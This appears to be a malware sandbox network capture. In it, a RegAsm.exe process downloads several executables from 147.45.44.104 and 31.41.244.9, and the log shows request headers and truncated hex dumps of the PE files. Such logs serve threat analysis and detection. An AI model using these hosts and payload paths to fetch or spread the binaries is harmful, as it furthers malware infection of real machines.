Aug 30, 2024 03:17:12.976572990 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:12 GMT Content-Type: application/octet-stream Content-Length: 10902016 Last-Modified: Thu, 22 Aug 2024 08:54:11 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6fcb3-a65a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 30 fc c6 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 6f 09 82 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 99 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 ef 81 01 3c 00 00 00 00 80 96 01 d0 04 03 00 40 53 96 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0e 81 01 28 00 00 00 00 52 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd0f#o@ <@S`*P(R8 .text `.rdata @@.data@.pdata@@.00cfg@@.tls@.text0:( `.text1X @.text2M0N`h.rsrcT@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	147.45.44.104	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:05.142601013 CEST	225	OUT	HEAD /prog/66d0c13d2f0ed_ImpressedHub.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:05.787436962 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:05 GMT Content-Type: application/octet-stream Content-Length: 913051 Last-Modified: Thu, 29 Aug 2024 18:43:09 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0c13d-dee9b" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:05.788289070 CEST	236	OUT	HEAD /malesa/66d08591035ef_AttachmentDaughters.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:05.979589939 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:05 GMT Content-Type: application/octet-stream Content-Length: 1068804 Last-Modified: Thu, 29 Aug 2024 14:28:33 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d08591-104f04" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:05.980092049 CEST	221	OUT	HEAD /yuop/66d0879618b6b_File.exe#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.170499086 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 6604864 Last-Modified: Thu, 29 Aug 2024 14:37:10 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d08796-64c840" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:06.170809984 CEST	219	OUT	HEAD /revada/66c6fcb30b9dd_123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.358903885 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 10902016 Last-Modified: Thu, 22 Aug 2024 08:54:11 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6fcb3-a65a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:06.359215021 CEST	223	OUT	HEAD /malesa/66ce00c2c1a2c_doz.exe#mene HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.559077024 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 6497280 Last-Modified: Tue, 27 Aug 2024 16:37:22 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ce00c2-632400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 03:17:06.559360981 CEST	215	OUT	GET /prog/66c6def3f0546_sss.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:06.776926041 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 3058688 Last-Modified: Thu, 22 Aug 2024 06:47:15 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6def3-2eac00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 97 46 af a3 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 9a 2c 00 00 0e 02 00 00 00 00 00 ae b9 2c 00 00 20 00 00 00 c0 2c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 2f 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 b9 2c 00 4b 00 00 00 00 e0 2c 00 5c 09 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 00 0c 00 00 00 14 b9 2c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELF,, ,@ /@`,K,\/, H.text, , `.sdata,,@.rsrc\,,@@.reloc/.@B
Aug 30, 2024 03:17:06.776988029 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ,H@!$d!R+&+&((.+&(G:+&(+&+&
Aug 30, 2024 03:17:06.776998997 CEST	1236	IN	Data Raw: 00 28 47 14 00 06 2a 1a 2b 02 26 16 17 2a 00 1a 2b 02 26 16 16 2a 00 3a 2b 02 26 16 fe 09 00 00 28 36 00 00 0a 2a 00 13 30 02 00 12 00 00 00 10 00 00 11 2b 02 26 16 00 28 40 00 00 06 0a 38 00 00 00 00 06 2a 00 00 2e 2b 02 26 16 00 28 3a 00 00 06 Data Ascii: (G+&+&:+&(60+&(@8.+&(:+&+&0+& 8"DA (! 8 6( 9& (#"O8sB"}B :&( 8
Aug 30, 2024 03:17:06.777023077 CEST	1236	IN	Data Raw: 42 13 0e 20 f4 06 00 00 28 85 01 00 06 13 0f 1f 4f 13 10 28 87 01 00 06 28 86 01 00 06 39 34 00 00 00 26 20 0c 00 00 00 38 e7 fe ff ff 20 a4 05 00 00 28 85 01 00 06 13 05 1f 11 13 06 20 01 00 00 00 38 cd fe ff ff 22 30 1b ab 42 13 20 16 13 21 38 Data Ascii: B (O((94& 8 ( 8"0B !8C& 8, (:& 6( ( 8~-2. 8(/ (0 (1 j(2 8=@ ( f(
Aug 30, 2024 03:17:06.777039051 CEST	896	IN	Data Raw: 10 16 13 11 20 06 00 00 00 38 57 01 00 00 20 50 0f 00 00 28 09 14 00 06 13 2f 22 4b 23 b3 42 13 30 17 13 31 22 39 c0 11 42 13 32 20 15 00 00 00 38 30 01 00 00 1f 44 13 27 22 e4 86 4f 42 13 28 1f 36 13 29 1f 4a 13 2a 1f 4a 13 2b 20 f8 0e 00 00 28 Data Ascii: 8W P(/"K#B01"9B2 80D'"OB(6)J*J+ (,-"_B. 8"B 8 (:& (#$ (:&!%"B& 8 ( H( 8\|"B;
Aug 30, 2024 03:17:06.777432919 CEST	1236	IN	Data Raw: 1f 3e 13 26 20 05 00 00 00 28 86 01 00 06 3a 3d 00 00 00 26 22 a5 e9 a6 42 13 27 22 48 5b 79 42 13 28 22 98 99 2b 42 13 29 20 13 00 00 00 38 1d 00 00 00 22 c6 5f 72 42 13 1a 1f 3e 13 1b 38 c2 fe ff ff 20 0f 00 00 00 fe 0e 32 00 fe 0c 32 00 45 16 Data Ascii: >& (:=&"B'"H[yB("+B) 8"_rB>8 22EgX+e#'F8 80L1 8 8\|/!" 8k*0
Aug 30, 2024 03:17:06.777453899 CEST	1236	IN	Data Raw: 42 13 0e 20 07 00 00 00 16 39 de 00 00 00 26 17 13 0b 20 0a 00 00 00 38 d0 00 00 00 22 70 74 84 42 13 10 20 11 00 00 00 17 3a be 00 00 00 26 22 c5 3a e6 3d 13 18 1f 3b 13 19 20 1a 1c 00 00 28 85 01 00 06 13 1a 20 0c 00 00 00 28 87 01 00 06 3a 97 Data Ascii: B 9& 8"ptB :&":=; ( (:8 ( ( 8j. (/ (0 8E (0 (] ("{B8P 22E.
Aug 30, 2024 03:17:06.777473927 CEST	1236	IN	Data Raw: 0c 00 00 00 38 fa 00 00 00 17 13 27 20 8a 26 00 00 28 85 01 00 06 13 28 1f 36 13 29 22 8f db 40 42 13 2a 1e 13 2b 1f 4d 13 2c 20 d0 26 00 00 28 85 01 00 06 13 2d 20 0f 00 00 00 17 3a c2 00 00 00 26 22 70 50 cb 41 13 07 20 0e 00 00 00 17 3a af 00 Data Ascii: 8' &((6)"@B*+M, &(- :&"pPA :& 8 #("B"A 8t/&0=1 '(2 (:N& #( 88 0'(. 8"] $(8
Aug 30, 2024 03:17:06.777499914 CEST	1236	IN	Data Raw: 17 13 10 1f 2d 13 11 22 00 36 7f 41 13 12 17 13 13 22 41 b5 a1 42 13 14 38 e7 fe ff ff 26 20 13 00 00 00 28 86 01 00 06 3a 4a fe ff ff 26 20 90 2b 00 00 28 09 14 00 06 13 22 22 d7 d2 9e 42 13 23 20 02 00 00 00 38 2c fe ff ff 20 4e 2b 00 00 28 09 Data Ascii: -"6A"AB8& (:J& +(""B# 8, N+( 8 (( :&*0+& 8"W@]8:& 8 D-( -( 8"Qr"B :&"^
Aug 30, 2024 03:17:06.777509928 CEST	328	IN	Data Raw: 20 cc 31 00 00 28 09 14 00 06 13 1f 20 30 32 00 00 28 85 01 00 06 13 20 22 81 17 91 42 13 21 20 02 00 00 00 28 87 01 00 06 3a 4c 00 00 00 38 47 00 00 00 22 d3 5b 68 42 13 08 20 10 00 00 00 38 36 00 00 00 1f 28 0d 16 13 04 20 00 00 00 00 28 86 01 Data Ascii: 1( 02( "B! (:L8G"[hB 86( (:!&J"B8 22E<V&,&\Im 8=, 8*
Aug 30, 2024 03:17:06.778270006 CEST	1236	IN	Data Raw: 1f 45 13 15 20 0a 00 00 00 38 5b 01 00 00 16 13 0e 20 0b 00 00 00 38 4e 01 00 00 20 2c 34 00 00 28 85 01 00 06 0b 1f 31 0c 16 0d 20 03 00 00 00 38 34 01 00 00 00 20 c0 33 00 00 28 09 14 00 06 0a 20 04 00 00 00 38 1e 01 00 00 17 13 2a 20 08 00 00 Data Ascii: E 8[ 8N ,4(1 84 3( 8* 8 h5( 8 :&"scE? 8"zB 8!%"#$ (:&"B 8 x4("[\|B"NB"B
Aug 30, 2024 03:17:09.088821888 CEST	220	OUT	GET /yuop/66d0879618b6b_File.exe#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:09.283346891 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:09 GMT Content-Type: application/octet-stream Content-Length: 6604864 Last-Modified: Thu, 29 Aug 2024 14:37:10 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d08796-64c840" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a7 e3 63 d3 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 8c 4d 00 00 aa 16 00 00 00 00 00 be aa 4d 00 00 20 00 00 00 c0 4d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 64 00 00 04 00 00 93 ef 64 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 70 aa 4d 00 4b 00 00 00 00 e0 4d 00 1c a5 16 00 00 00 00 00 00 00 00 00 00 3a 64 00 40 8e 00 00 00 a0 64 00 0c 00 00 00 13 aa 4d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcMM M@ dd@pMKM:d@dM H.textM M `.sdataMM@.rsrcMM@@.relocd8d@B
Aug 30, 2024 03:17:13.854090929 CEST	225	OUT	GET /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:14.044342995 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:13 GMT Content-Type: application/octet-stream Content-Length: 196648 Last-Modified: Thu, 29 Aug 2024 19:35:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd9a-30028" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @N,`XS.(& H.text `.rsrc.@@.reloc @BHxR&(,XUfh&\=E%"=m?*<UHft$U!B#:dE\J19KlXGRA6\|^.o@&5:i XmXj_0"LXEO j%mnEcT%3C))^:Tn7wY.`[AtyNjs\|QT?9':l${&V}9nes[?wqR/_JU8ir_Rhy<<@/'-Uv8F2zU'q5,.+GE?@@!
Aug 30, 2024 03:17:14.328768969 CEST	222	OUT	GET /malesa/66ce00c2c1a2c_doz.exe#mene HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 03:17:14.522701979 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:14 GMT Content-Type: application/octet-stream Content-Length: 6497280 Last-Modified: Tue, 27 Aug 2024 16:37:22 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ce00c2-632400" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 8c f9 30 d2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 a2 32 00 00 7e 30 00 00 00 00 00 7e c1 32 00 00 20 00 00 00 e0 32 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 63 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 c1 32 00 4b 00 00 00 00 00 33 00 44 75 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 63 00 0c 00 00 00 ea c0 32 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL02~0~2 2@ c@02K3Du0c2 H.text2 2 `.sdata22@.rsrcDu03v02@@.relocc"c@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	31.41.244.9	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:05.159847975 CEST	201	OUT	HEAD /dezo/huna.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 31.41.244.9 Cache-Control: no-cache
Aug 30, 2024 03:17:05.856817961 CEST	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 30 Aug 2024 01:17:05 GMT Content-Type: application/octet-stream Content-Length: 1793024 Last-Modified: Thu, 29 Aug 2024 22:45:02 GMT Connection: keep-alive ETag: "66d0f9ee-1b5c00" Accept-Ranges: bytes
Aug 30, 2024 03:17:05.857211113 CEST	200	OUT	GET /dezo/huna.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 31.41.244.9 Cache-Control: no-cache
Aug 30, 2024 03:17:06.076534986 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 30 Aug 2024 01:17:05 GMT Content-Type: application/octet-stream Content-Length: 1793024 Last-Modified: Thu, 29 Aug 2024 22:45:02 GMT Connection: keep-alive ETag: "66d0f9ee-1b5c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 80 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 68 00 00 04 00 00 af c2 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELMfB"h@h@P#d# #<@.rsrc #L@.idata #L@ *$N@trzlrlhzNP@xbmoezwdph6@.taggant0h":@
Aug 30, 2024 03:17:06.076548100 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Aug 30, 2024 03:17:06.076559067 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Aug 30, 2024 03:17:06.076633930 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Aug 30, 2024 03:17:06.076644897 CEST	896	IN	Data Raw: 8b 19 cc aa 6e 4b 42 a1 f6 f9 39 e0 ce f6 f9 8c c8 58 b6 a5 e5 02 d8 7f e9 23 d5 01 de 24 7c ac 44 4c bb 09 f7 46 17 1e 59 c6 b6 b8 15 ab 58 64 26 8f 04 6c d4 27 e5 61 28 74 f6 64 52 24 d9 aa 04 52 13 54 08 a0 04 c8 61 e4 3f af d6 62 8e 18 53 6f Data Ascii: nKB9X#$\|DLFYXd&l'a(tdR$RTa?bSoMDiE=?J$9dI=\i@0GOoe8fkLqbAy%]Lf'<$+(a!9I\4ZOOCxO[x2er:$`OJ>
Aug 30, 2024 03:17:06.076656103 CEST	1236	IN	Data Raw: d6 16 5c 1c 07 12 d5 4b 03 aa 3a d0 ac b0 24 29 da 52 8a a0 f3 07 39 00 10 5f 3c a6 ff a3 69 5d 0c 4e cb 3b 18 31 0c 5c ac 52 14 e0 5c ee 85 e9 6f 35 0e 60 d8 cd c2 1f 10 cf f9 d4 84 22 54 c8 47 2b 32 1e d4 46 3e 0b cf 9a fc 1f 2c 6e 08 ba 20 23 Data Ascii: \K:$)R9_<i]N;1\R\o5`"TG+2F>,n #r=`v\|p_r^(K4+SFRr(!nAqB;Co\A\|@b:/<[3lu+NxQ^@2+&
Aug 30, 2024 03:17:06.076690912 CEST	1236	IN	Data Raw: d4 e6 f4 b0 bb 8e fb 31 36 52 82 c4 a1 5b d1 d1 db ce 35 3e dd 2e 64 60 3b 6f d8 9f dc 3e 03 09 8e a2 31 aa d4 1a a8 b1 e4 62 c5 e6 8c 2e e5 0e 30 4c cd 0f d5 40 d0 af 16 d6 95 c0 47 23 f6 27 3d 98 d8 cb 91 36 19 34 cc 23 68 dc c7 7b 70 60 10 04 Data Ascii: 16R[5>.d`;o>1b.0L@G#'=64#h{p`9*<+#xH(8a#Kp#81+Y'_B>4` ^dp Ny{Bn,+.N8cZf<>Z/(
Aug 30, 2024 03:17:06.076702118 CEST	448	IN	Data Raw: e8 aa 5d c2 47 8b cd 3d e0 22 08 63 41 76 55 b1 43 12 41 26 e8 ba 81 28 29 9e d3 b0 e4 1b 28 63 18 50 63 85 06 23 90 a9 1e 26 f4 3b 0f 4c a0 08 09 35 96 d1 d3 12 b9 27 f0 4e df b3 64 23 dd b3 f3 8e 4e 03 06 35 f4 b0 d3 98 0d e0 2e d2 df df dc 12 Data Ascii: ]G="cAvUCA&()(cPc#&;L5'Nd#N5.KLH`8{1\}e#VT<6oT%"~RZ@ L ^{+Hma9{RSNz zfR78L
Aug 30, 2024 03:17:06.076725006 CEST	1236	IN	Data Raw: 11 b6 c1 21 b8 23 bc 9f f3 9b 40 60 98 54 8f a0 df 3a 48 c4 dc 2d 27 21 18 d7 cd aa ff 51 cd 5f 08 64 25 30 90 40 da b8 f3 2a cd de 04 1d 50 65 26 30 e4 a9 c7 23 dc 08 b0 d2 c6 9b 05 68 b8 b0 7f 2c c3 d0 77 12 cb 47 61 8b cd 73 cc 00 fb a8 e7 82 Data Ascii: !#@`T:H-'!Q_d%0@Pe&0#h,wGasv]&-T}%\G#nCG+QFG##D<&\~<h $bkQ;/''<#y@SDD#PX<b\|~ZhHHkHQL
Aug 30, 2024 03:17:06.076740980 CEST	224	IN	Data Raw: a7 4c cd 8b d5 bf d0 27 5b 22 22 9c 03 93 cc 6d e9 a6 e6 b0 e3 7b 6b 2c f0 23 d5 cb d4 8d 7f 58 2a af 04 d4 dc 4e 38 93 e0 42 6f 61 d8 56 cd b8 17 1b 05 5d 5c d3 fc c9 1f 4e 18 ba fb 43 0c 14 c7 d4 20 b1 d3 82 3c b7 a5 d6 7f b1 47 12 44 1c 0b 10 Data Ascii: L'[""m{k,#XN8BoaV]\NC <GDPk+OTHQVJRRip0J8ZWK=wy#3\|=#}_/#H<n0GO#/gv/#\|`1Ws
